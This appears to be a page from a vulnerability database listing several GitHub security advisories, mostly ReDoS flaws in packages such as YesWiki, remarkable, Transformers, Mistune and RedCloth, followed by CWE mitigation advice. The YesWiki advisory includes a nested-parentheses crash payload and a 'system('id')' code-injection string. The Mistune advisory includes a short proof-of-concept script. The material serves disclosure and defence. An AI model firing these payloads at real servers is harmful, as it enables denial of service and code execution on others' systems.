Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "yeswiki/yeswiki"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52778"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-09T21:03:04Z",
    "nvd_published_at": "2026-06-08T19:16:46Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nAn unsafe execution vulnerability exists in the Bazar form field calculator (CalcField.php) of YesWiki. The application attempts to sanitize user-defined mathematical formulas using a complex recursive regular expression before passing them to the PHP eval() function. This implementation is inherently flawed: it is vulnerable to Regular Expression Denial of Service (ReDoS / Stack Overflow) which can crash the server, and it creates a high-risk architecture where any logic bypass directly results in arbitrary PHP code execution.\n\n### Details\n\nAffected Component\n- **File**: tools/bazar/fields/CalcField.php\n- **Method**: formatValuesBeforeSave($entry)\n- **Vulnerable Mechanism:** Combination of a complex recursive regex validation followed by eval().\n\n\nThe code attempts to implement a sandbox for mathematical operations by verifying the formula structure before executing it:\n\n```\n$regexpToCheckIfMathFormula = \u0027/^((\u0027 . $number . \u0027|\u0027 . $functions . \u0027\\s*\\((?1)+\\)|\\((?1)+\\))(?:\u0027 . $operators . \u0027(?1))?)+$/\u0027;\n\nif (preg_match($regexpToCheckIfMathFormula, $formula)) {\n    $formula = preg_replace(\u0027!pi|\u03c0!\u0027, \u0027pi()\u0027, $formula);\n    try {\n        eval(\"\\$value = $formula;\");  // VULNERABLE LINE\n// ...\n```\n### Architectural Flaws\n\n**PCRE Stack Overflow \u0026 ReDoS (The Immediate Exploit):**\n\nThe regex definition heavily relies on a recursive pattern (?1)+. In PHP\u0027s PCRE engine, deeply nested recursive patterns are processed on the system stack. If an attacker inputs a formula with thousands of nested parentheses or repeating groups, the engine will either trigger a pcre.recursion_limit exhaust (returning false or null) or cause a Segmentation Fault, instantly crashing the PHP process (Denial of Service).\n\n**The \"Validation-Before-Substitution\" Trap:**\n\nThe regex checks the $formula variable after it has tokenized and reassembled the input string. If any underlying function called during tokenization (like testEntryValue or future updates to getEntryValue) returns or leaks an unexpected string format, the string structure changes.\n\n**Complete Trust in eval():**\n\nUsing eval() as a math parser means the application\u0027s security perimeter relies entirely on a single regular expression. History shows that complex regex sanitizers for script evaluation are consistently bypassed via edge-case syntaxes, character encoding tricks, or PCRE engine bugs.\n\n### PoC\n\n**Scenario A: Remote Denial of Service (Server Crash)**\n\nAn attacker with rights to create or edit a Bazar form adds a Calc field and injects a deeply nested recursive mathematical structure.\n\nPayload:\n\n`((((((((((((((((((((((((((((((((((((((((((1+1))))))))))))))))))))))))))))))))))))))))))))\n`\n\n(Multiplied by 2000 to 5000 iterations depending on the server\u0027s pcre.recursion_limit and stack configuration).\n\nThe PCRE engine runs out of stack memory, leading to an immediate crash of the PHP-FPM worker or Apache process handling the request, rendering the service unavailable.\n\n**Scenario B: Logical Bypass to RCE**\n\nBecause eval() executes raw PHP code, if an attacker successfully fuzzes the recursive pattern or exploits an unpatched vulnerability in the specific PCRE library version installed on the host OS, they can slip a PHP payload through the validation block.\n \nPayload:\n\n`abs(1) + system(\u0027id\u0027)\n`\n\nIf a validation bypass occurs, the string evaluates as native PHP, granting the attacker the privileges of the www-data (web server) user, leading to a full host compromise.\n\n### Impact\n\n- Confidentiality: HIGH. Attackers can read sensitive system files (e.g., /etc/passwd, .env configuration files).\n\n- Integrity: HIGH. Attackers can modify application files, inject backdoors, or alter the database content.\n\n- Availability: HIGH. Attackers can easily bring down the web service via the ReDoS/Segmentation Fault vector.\n\n### Remediation \u0026 Mitigation\n\n- Do not use regular expressions to safe-guard eval(). Instead, replace the execution block with a dedicated, safe Abstract Syntax Tree (AST) math parser or an expression language component that cannot execute system context.",
  "id": "GHSA-px5m-h76g-p7p8",
  "modified": "2026-07-09T21:03:04Z",
  "published": "2026-07-09T21:03:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-px5m-h76g-p7p8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52778"
    },
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/commit/dd2bd8fb099de0d21504bda8a810693b3fcb8e52"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/YesWiki/yeswiki"
    },
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/releases/tag/v4.6.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "YesWiki has Unsafe eval() in its Formula Calculato, Leading to Remote Code Execution \u0026 Denial of Service"
}

GHSA-Q22G-8FR4-QPJ4

Vulnerability from github – Published: 2019-06-06 15:32 – Updated: 2024-04-22 19:45
VLAI
Summary
Regular Expression Denial of Service in remarkable
Details

lib/common/html_re.js in remarkable 1.7.1 allows Regular Expression Denial of Service (ReDoS) via a CDATA section.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "remarkable"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-12041"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2019-06-06T15:21:06Z",
    "nvd_published_at": "2019-05-13T13:29:00Z",
    "severity": "HIGH"
  },
  "details": "lib/common/html_re.js in remarkable 1.7.1 allows Regular Expression Denial of Service (ReDoS) via a CDATA section.",
  "id": "GHSA-q22g-8fr4-qpj4",
  "modified": "2024-04-22T19:45:28Z",
  "published": "2019-06-06T15:32:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-12041"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jonschlinkert/remarkable/issues/331"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jonschlinkert/remarkable/pull/335#issuecomment-515958379"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jonschlinkert/remarkable/commit/287dfbf22e70790c8b709ae37a5be0523597673c"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-REMARKABLE-174639"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Regular Expression Denial of Service in remarkable"
}

GHSA-Q2WP-RJMX-X6X9

Vulnerability from github – Published: 2025-07-07 12:30 – Updated: 2025-07-08 16:33
VLAI
Summary
Transformers's ReDoS vulnerability in get_configuration_file can lead to catastrophic backtracking
Details

A Regular Expression Denial of Service (ReDoS) vulnerability was discovered in the Hugging Face Transformers library, specifically in the get_configuration_file() function within the transformers.configuration_utils module. The affected version is 4.49.0, and the issue is resolved in version 4.51.0. The vulnerability arises from the use of a regular expression pattern config\.(.*)\.json that can be exploited to cause excessive CPU consumption through crafted input strings, leading to catastrophic backtracking. This can result in model serving disruption, resource exhaustion, and increased latency in applications using the library.

Severity
5.3 (Medium)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "transformers"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.51.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-3263"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-08T16:33:26Z",
    "nvd_published_at": "2025-07-07T10:15:27Z",
    "severity": "MODERATE"
  },
  "details": "A Regular Expression Denial of Service (ReDoS) vulnerability was discovered in the Hugging Face Transformers library, specifically in the `get_configuration_file()` function within the `transformers.configuration_utils` module. The affected version is 4.49.0, and the issue is resolved in version 4.51.0. The vulnerability arises from the use of a regular expression pattern `config\\.(.*)\\.json` that can be exploited to cause excessive CPU consumption through crafted input strings, leading to catastrophic backtracking. This can result in model serving disruption, resource exhaustion, and increased latency in applications using the library.",
  "id": "GHSA-q2wp-rjmx-x6x9",
  "modified": "2025-07-08T16:33:26Z",
  "published": "2025-07-07T12:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3263"
    },
    {
      "type": "WEB",
      "url": "https://github.com/huggingface/transformers/commit/0720e206c6ba28887e4d60ef60a6a089f6c1cc76"
    },
    {
      "type": "WEB",
      "url": "https://github.com/huggingface/transformers/commit/126abe3461762e5fc180e7e614391d1b4ab051ca"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/huggingface/transformers"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/c7a69150-54f8-4e81-8094-791e7a2a0f29"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Transformers\u0027s ReDoS vulnerability in get_configuration_file can lead to catastrophic backtracking"
}

GHSA-Q567-JFMR-4RR7

Vulnerability from github – Published: 2023-02-20 18:30 – Updated: 2023-03-01 21:30
VLAI
Details

Octobox is software for managing GitHub notifications. Prior to pull request (PR) 2807, a user of the system can provide a specifically crafted search query string that will trigger a ReDoS vulnerability. This issue is fixed in PR 2807.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-32848"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-02-20T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "Octobox is software for managing GitHub notifications. Prior to pull request (PR) 2807, a user of the system can provide a specifically crafted search query string that will trigger a ReDoS vulnerability. This issue is fixed in PR 2807.",
  "id": "GHSA-q567-jfmr-4rr7",
  "modified": "2023-03-01T21:30:20Z",
  "published": "2023-02-20T18:30:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32848"
    },
    {
      "type": "WEB",
      "url": "https://github.com/octobox/octobox/pull/2807"
    },
    {
      "type": "WEB",
      "url": "https://github.com/octobox/octobox/blob/372a0da981dbf47319fed4116364118fdf09fcc3/lib/search_parser.rb#L5"
    },
    {
      "type": "ADVISORY",
      "url": "https://securitylab.github.com/advisories/GHSL-2021-100-octobox-octobox"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q5F6-QXM2-MCQM

Vulnerability from github – Published: 2026-01-13 20:35 – Updated: 2026-01-13 21:41
VLAI
Summary
tarteaucitron.js has Regular Expression Denial of Service (ReDoS) vulnerability
Details

Summary

A potential Regular Expression Denial of Service (ReDoS) vulnerability was identified in tarteaucitron.js in the handling of the issuu_id parameter.

Details

The issue was caused by the use of insufficiently constrained regular expressions applied to attacker-controlled input:

if (issuu_id.match(/\d+\/\d+/)) {
    issuu_embed = '#' + issuu_id;
} else if (issuu_id.match(/d=(.*)&u=(.*)/)) {
    issuu_embed = '?' + issuu_id;
}

These expressions are not anchored and rely on greedy patterns (.*). When evaluated against specially crafted input, they may cause excessive backtracking, leading to high CPU consumption and potential denial of service.

Impact

An attacker able to control the issuu_id parameter could exploit this vulnerability to degrade performance or cause temporary service unavailability through CPU exhaustion.

No confidentiality or integrity impact was identified.

Fix https://github.com/AmauriC/tarteaucitron.js/commit/f0bbdac2fdf3cd24a325fc0928c0d34abf1b7b52

The logic was simplified and hardened by removing ambiguous regular expressions and enforcing strict input validation:

if (issuu_id.match(/^\d+\/\d+$/)) {
    issuu_embed = '#' + issuu_id;
} else {
    issuu_embed = '?' + issuu_id;
}

This change eliminates the risk of catastrophic backtracking and prevents ReDoS conditions.

Additionally, code related to the legacy "Alexa Rank" service was removed. This service, historically provided by Alexa.com via browser toolbars and popularity rankings, has been deprecated for several years and is no longer operational. The Alexa domain is now exclusively associated with the Amazon voice assistant, and the original ranking service has been permanently discontinued.

Severity
4.4 (Medium)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "tarteaucitronjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22809"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-13T20:35:28Z",
    "nvd_published_at": "2026-01-13T20:16:11Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nA potential Regular Expression Denial of Service (ReDoS) vulnerability was identified in tarteaucitron.js in the handling of the `issuu_id` parameter. \n\n## Details\n\nThe issue was caused by the use of insufficiently constrained regular expressions applied to attacker-controlled input:\n\n    if (issuu_id.match(/\\d+\\/\\d+/)) {\n        issuu_embed = \u0027#\u0027 + issuu_id;\n    } else if (issuu_id.match(/d=(.*)\u0026u=(.*)/)) {\n        issuu_embed = \u0027?\u0027 + issuu_id;\n    }\n\nThese expressions are not anchored and rely on greedy patterns (`.*`). When evaluated against specially crafted input, they may cause excessive backtracking, leading to high CPU consumption and potential denial of service.\n\n## Impact\n\nAn attacker able to control the `issuu_id` parameter could exploit this vulnerability to degrade performance or cause temporary service unavailability through CPU exhaustion.\n\nNo confidentiality or integrity impact was identified.\n\n## Fix https://github.com/AmauriC/tarteaucitron.js/commit/f0bbdac2fdf3cd24a325fc0928c0d34abf1b7b52\n\nThe logic was simplified and hardened by removing ambiguous regular expressions and enforcing strict input validation:\n\n    if (issuu_id.match(/^\\d+\\/\\d+$/)) {\n        issuu_embed = \u0027#\u0027 + issuu_id;\n    } else {\n        issuu_embed = \u0027?\u0027 + issuu_id;\n    }\n\nThis change eliminates the risk of catastrophic backtracking and prevents ReDoS conditions.\n\nAdditionally, code related to the legacy \"Alexa Rank\" service was removed. This service, historically provided by Alexa.com via browser toolbars and popularity rankings, has been deprecated for several years and is no longer operational. The Alexa domain is now exclusively associated with the Amazon voice assistant, and the original ranking service has been permanently discontinued.",
  "id": "GHSA-q5f6-qxm2-mcqm",
  "modified": "2026-01-13T21:41:31Z",
  "published": "2026-01-13T20:35:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/AmauriC/tarteaucitron.js/security/advisories/GHSA-q5f6-qxm2-mcqm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22809"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AmauriC/tarteaucitron.js/commit/f0bbdac2fdf3cd24a325fc0928c0d34abf1b7b52"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/AmauriC/tarteaucitron.js"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "tarteaucitron.js has Regular Expression Denial of Service (ReDoS) vulnerability"
}

GHSA-QCM3-VFQ5-WFR2

Vulnerability from github – Published: 2023-06-06 18:30 – Updated: 2024-01-09 23:32
VLAI
Summary
RedCloth Regular Expression Denial of Service issue
Details

A Regular Expression Denial of Service (ReDoS) issue was discovered in the sanitize_html function of RedCloth gem. This vulnerability allows attackers to cause a Denial of Service (DoS) via supplying a crafted payload.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "RedCloth"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-31606"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-06-06T20:27:29Z",
    "nvd_published_at": "2023-06-06T17:15:14Z",
    "severity": "HIGH"
  },
  "details": "A Regular Expression Denial of Service (ReDoS) issue was discovered in the `sanitize_html` function of RedCloth gem. This vulnerability allows attackers to cause a Denial of Service (DoS) via supplying a crafted payload.",
  "id": "GHSA-qcm3-vfq5-wfr2",
  "modified": "2024-01-09T23:32:33Z",
  "published": "2023-06-06T18:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-31606"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jgarber/redcloth/issues/73"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jgarber/redcloth/commit/8b1327688fef8e6617792054ef299d7bc74c0a1e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/e23e/CVE-2023-31606#readme"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jgarber/redcloth"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jgarber/redcloth/blob/v4.3.2/lib/redcloth/formatters/html.rb#L327"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/RedCloth/CVE-2023-31606.yml"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/07/msg00002.html"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202401-14"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "RedCloth Regular Expression Denial of Service issue"
}

GHSA-QCQ2-496W-V96P

Vulnerability from github – Published: 2026-07-09 23:52 – Updated: 2026-07-09 23:52
VLAI
Summary
Mistune: Potential DoS via quadratic-time parsing in parse_link_text
Details

Summary

Mistune is vulnerable to a CPU exhaustion DoS due to superlinear (approximately O(n²)) behavior in parse_link_text. A relatively small input consisting of repeated [ characters causes significant parsing slowdown.

Affected component

mistune/inline_parser.py → parse_link_text

Description

When parsing Markdown containing many consecutive [ characters, parse_link_text repeatedly scans the input using a regex search inside a loop. Each iteration re-scans a large portion of the remaining string, resulting in quadratic-time behavior. An attacker-controlled Markdown input can therefore trigger excessive CPU usage with a very small payload.

Root cause

The vulnerability stems from a two-loop interaction: - The outer loop in InlineParser.parse() (inline_parser.py) advances only 1 character at a time when parse_link() returns None - Each failed attempt calls parse_link_text() which performs an O(n) scan to the end of the string looking for a closing ] - With n consecutive [ characters, this results in O(n) × O(n) = O(n²) total work

PoC

Run below python script

import mistune
import time

md = mistune.create_markdown()

s = "[" * 6400

t = time.perf_counter()
md(s)
print(time.perf_counter() - t)

image

Benmark poc Run below code for benchmark

import mistune
import time

md = mistune.create_markdown()

sizes = [100,200,400,800,1600,3200,6400]

for n in sizes:
    s = "[" * n

    t0 = time.perf_counter()
    md(s)
    dt = time.perf_counter() - t0

    print(f"{n:6d} {dt:.6f}")

image

Observed behaviour

python3 benchmark.py 
   100 0.001609
   200 0.003207
   400 0.012906
   800 0.050220
  1600 0.197307
  3200 0.801172
  6400 3.190393

Execution time grows superlinearly, consistent with O(n²) complex

Impact

This can be used as a denial-of-service attack in any application that parses user-supplied Markdown using Mistune, including:

  • Web applications (comments, posts, content rendering)
  • API services processing Markdown
  • Documentation rendering systems
  • A small (~6 KB) payload can block CPU for multiple seconds.

Suggested fix

Return the furthest scanned position from parse_link_text even on failure, so the outer loop can skip ahead instead of advancing 1 character at a time

Security Classification

CWE-400: Uncontrolled Resource Consumption Denial of Service (CPU exhaustion)

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mistune"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49851"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-09T23:52:27Z",
    "nvd_published_at": "2026-06-24T18:17:18Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nMistune is vulnerable to a CPU exhaustion DoS due to superlinear (approximately O(n\u00b2)) behavior in parse_link_text. A relatively small input consisting of repeated [ characters causes significant parsing slowdown.\n\n### Affected component\nmistune/inline_parser.py \u2192 **parse_link_text**\n\n### Description\nWhen parsing Markdown containing many consecutive [ characters, parse_link_text repeatedly scans the input using a regex search inside a loop. Each iteration re-scans a large portion of the remaining string, resulting in quadratic-time behavior.\nAn attacker-controlled Markdown input can therefore trigger excessive CPU usage with a very small payload.\n\n### Root cause\nThe vulnerability stems from a two-loop interaction:\n- The outer loop in `InlineParser.parse()` (inline_parser.py) advances \n  only 1 character at a time when parse_link() returns None\n- Each failed attempt calls `parse_link_text()` which performs an O(n) \n  scan to the end of the string looking for a closing `]`\n- With n consecutive `[` characters, this results in O(n) \u00d7 O(n) = O(n\u00b2) \n  total work\n\n### PoC\nRun below python script\n```\nimport mistune\nimport time\n\nmd = mistune.create_markdown()\n\ns = \"[\" * 6400\n\nt = time.perf_counter()\nmd(s)\nprint(time.perf_counter() - t)\n```\n\u003cimg width=\"2028\" height=\"1277\" alt=\"image\" src=\"https://github.com/user-attachments/assets/15d5bc0b-35f8-4a15-85e0-cbc314a45b06\" /\u003e\n\n**Benmark poc**\nRun below code for benchmark\n```\nimport mistune\nimport time\n\nmd = mistune.create_markdown()\n\nsizes = [100,200,400,800,1600,3200,6400]\n\nfor n in sizes:\n    s = \"[\" * n\n\n    t0 = time.perf_counter()\n    md(s)\n    dt = time.perf_counter() - t0\n\n    print(f\"{n:6d} {dt:.6f}\")\n```\n\u003cimg width=\"2503\" height=\"1341\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f09a7bbb-6927-4ba2-afb1-444dd913b84e\" /\u003e\n\n\n### Observed behaviour\n```\npython3 benchmark.py \n   100 0.001609\n   200 0.003207\n   400 0.012906\n   800 0.050220\n  1600 0.197307\n  3200 0.801172\n  6400 3.190393\n```\nExecution time grows superlinearly, consistent with O(n\u00b2) complex\n\n### Impact\nThis can be used as a denial-of-service attack in any application that parses user-supplied Markdown using Mistune, including:\n\n- Web applications (comments, posts, content rendering)\n- API services processing Markdown\n- Documentation rendering systems\n- A small (~6 KB) payload can block CPU for multiple seconds.\n\n### Suggested fix\nReturn the furthest scanned position from parse_link_text even on failure, so the outer loop can skip ahead instead of advancing 1 character at a time\n\n### Security Classification\nCWE-400: Uncontrolled Resource Consumption\nDenial of Service (CPU exhaustion)",
  "id": "GHSA-qcq2-496w-v96p",
  "modified": "2026-07-09T23:52:28Z",
  "published": "2026-07-09T23:52:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-qcq2-496w-v96p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49851"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-49851"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492304"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lepture/mistune"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-49851.json"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": " Mistune: Potential DoS via quadratic-time parsing in parse_link_text"
}
Mitigation
Architecture and Design

Use regular expressions that do not support backtracking, e.g. by removing nested quantifiers.

Mitigation
System Configuration

Set backtracking limits in the configuration of the regular expression implementation, such as PHP's pcre.backtrack_limit. Also consider limits on execution time for the process.

Mitigation
Implementation

Do not use regular expressions with untrusted input. If regular expressions must be used, avoid using backtracking in the expression.

Mitigation
Implementation

Limit the length of the input that the regular expression will process.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.

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